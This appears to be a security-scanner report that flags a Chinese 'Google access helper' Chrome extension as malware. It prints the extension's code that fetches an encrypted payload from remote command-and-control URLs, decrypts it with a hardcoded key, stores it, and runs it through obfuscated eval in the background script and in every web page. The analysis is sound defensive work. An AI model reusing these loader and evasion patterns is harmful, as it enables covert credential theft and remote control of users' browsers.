Security Alert: Confirmed Malware
谷歌访问助手
ID: fjbknnledpckpbjcglogolokonffggpc
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- http://iggzs.comView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
谷歌访问助手让你在任何地区都能畅快访问谷歌的各种服务,如谷歌搜索、翻译、Gmail邮箱...是你的必备扩展之一
《谷歌访问助手》一键安装,开箱即用,畅享谷歌服务! 使用本扩展即可无阻访问大部分谷歌服务: — 谷歌搜索 — Gmail邮箱 — 谷歌翻译 — 谷歌学术 — Chrome应用商店 Chrome浏览器(谷歌浏览器)需要连接谷歌服务器实现账户登录,同步、更新浏览器的设置、用户信息和扩展,安装本扩展以后在国内即可正常使用这些联网功能。 提示:使用本扩展需要简单激活,用户要手动设置导航为首页,才能激活使用。
After 24 hours post-install, reads previously downloaded and decrypted JavaScript payloads from persistent filesystem ('rml' and 'cml') and executes the 'rml' payload via obfuscated eval (window["eval"]) in the background script context, giving the remote payload full access to all Chrome extension APIs including proxy, tabs, and webRequest. The obfuscation of 'eval' is deliberate evasion of static analysis.
localStorage.Installed && Date.now() - parseInt(localStorage.Installed) > 864e5 && parseInt(localStorage .mversion) > 0 && (n.IO.R("rml", function(t) { window[14..toString(16) + "v" + 241..toString(22)](t)}, function() { console.error("read data error")}), n.IO.R("cml", function(t) { f = t}, function() { console.error("read data error")}))The content script requests the 'cml' payload from the background script via 'init-page' message, then executes it via obfuscated eval (window["eval"]) directly in the page context of every web page matching http://*/* and https://*/*. This allows the attacker-controlled JavaScript to interact with the DOM, intercept credentials, and exfiltrate data from any site the user visits. The same eval obfuscation technique as in bg.js confirms intentional evasion.
chrome.runtime.sendMessage({ reqtype: "init-page"}, function(t) { t && t.data.length > 0 && e[14..toString(16) + "v" + 241..toString(22)](t.data)})Downloads an XXTEA-encrypted JavaScript payload from a URL specified by a remote configuration server (e.rml), decrypts it with hardcoded key '0123456789abcdef', and persists it to the extension's unlimited filesystem storage under 'rml'/'cml' keys. The remote server (loaded from base64-encoded URLs at o4175vz27.qnssl.com and yingu.coding.me) controls both the payload URL and its version number, giving attackers the ability to silently update the injected code at any time.
var l = function(t) { var e = JSON.parse(atob(t)); e.vn > 0 && parseInt(localStorage.mversion) != e.vn ? $.ajax({ type: "get", url: e.rml + "?t=" + Date.now(), success: function(t) { var o = r.D(t, "0123456789abcdef") .split("/*AABBCCDDEE*/"); 2 == o.length ? n.IO.W("rml", o[0], function() { n.IO.W("cml", o[0], function() { console.log("update!"), localStorage.mversion = e.vn }) }) : console.error("internal error") }, error: function(t) { console.error("mversion request fail") } }) : localStorage.mversion = e.vn}The extension's command-and-control server list starts with two hardcoded URLs and can be overwritten by whatever the remote server returns in its 'static' field (also base64-encoded). This means the attacker can redirect the extension to any new C2 infrastructure on the fly, making takedown of the initial servers ineffective.
var i = ["https://o4175vz27.qnssl.com/d.json", "https://yingu.coding.me/test/d.json"];if (localStorage.static) { i = []; for (var a = JSON.parse(localStorage.static), u = 0; u < a.length; u++) i.push(atob(a[u]))}Obfuscated eval in the background context: 14.toString(16)='e', 241.toString(22)='al', so this is window["eval"](t). The deliberate obfuscation of a standard built-in call has no legitimate purpose and is a clear attempt to evade automated static analysis tools that scan for 'eval'.
window[14..toString(16) + "v" + 241..toString(22)](t)By severity
Versions scanned
Showing 1 of 7 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.3.0 | 5 |
Files with findings
2 distinct paths — top paths by unique finding count:
- bg.js4
- straightGoogle.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.